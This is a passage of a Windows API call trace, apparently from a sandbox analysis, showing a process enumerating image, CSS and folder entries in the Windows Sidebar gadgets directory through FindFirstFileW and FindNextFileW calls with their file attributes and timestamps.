lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba30a755, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba30a755, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0261.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba30a755, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba30a755, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0261.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba30a755, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba30a755, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0261.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3308b4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3308b4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09a12fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0261.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba356a13, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba356a13, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09a12fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0261.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba356a13, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba356a13, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09a12fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0261.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba37cb72, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba37cb72, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09a12fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0261.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba37cb72, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba37cb72, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09c745c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0261.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3a2cd1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3a2cd1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09c745c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0261.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3a2cd1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3a2cd1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09c745c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0261.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3c8e30, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3c8e30, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09ed5bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0261.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3c8e30, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3c8e30, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09ed5bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0261.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3eef8f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3eef8f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0a1371c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0261.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4150ee, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4150ee, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0a3987c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0261.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4150ee, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4150ee, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0a3987c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0261.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba43b24d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba43b24d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0aabc9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0261.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4613ac, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4613ac, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0ad1dfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0261.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba48750b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba48750b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0ad1dfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0261.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ad66a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4ad66a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc095503c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="setting_back.png", cAlternateFileName="")) returned 1 [0261.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2be497, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2be497, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b1e0bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_down.png", cAlternateFileName="")) returned 1 [0261.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba298338, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba298338, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b1e0bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd33, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_over.png", cAlternateFileName="")) returned 1 [0261.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2be497, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2be497, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b1e0bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_up.png", cAlternateFileName="")) returned 1 [0261.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba167840, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba167840, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b6a37c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile16.png", cAlternateFileName="")) returned 1 [0261.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba18d99f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba18d99f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b6a37c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile_bezel.png", cAlternateFileName="")) returned 1 [0261.391] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba18d99f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba18d99f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0bdc79c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile_drop_shadow.png", cAlternateFileName="")) returned 1 [0261.391] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba225f1b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba225f1b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_down.png", cAlternateFileName="")) returned 1 [0261.391] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1d9c5d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1d9c5d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd37, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_over.png", cAlternateFileName="")) returned 1 [0261.391] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1d9c5d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1d9c5d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 1 [0261.391] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1d9c5d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1d9c5d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 0 [0261.391] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0261.392] GetProcessHeap () returned 0x550000 [0261.392] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0261.392] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa7abe3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa7abe3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c74d1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0261.392] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa7abe3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa7abe3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c74d1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0261.392] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0261.393] GetProcessHeap () returned 0x550000 [0261.393] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0261.393] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.Gadget", cAlternateFileName="RSSFEE~1.GAD")) returned 1 [0261.393] GetProcessHeap () returned 0x550000 [0261.393] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0261.393] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0261.393] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.393] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb96990, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb96990, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc45e1fdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2141, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0261.393] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0261.393] GetProcessHeap () returned 0x550000 [0261.393] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0261.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0261.395] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.395] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0261.395] GetProcessHeap () returned 0x550000 [0261.395] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0261.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.395] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.395] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0261.395] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.css", cAlternateFileName="")) returned 1 [0261.395] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0261.395] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0261.395] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.395] GetProcessHeap () returned 0x550000 [0261.395] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: 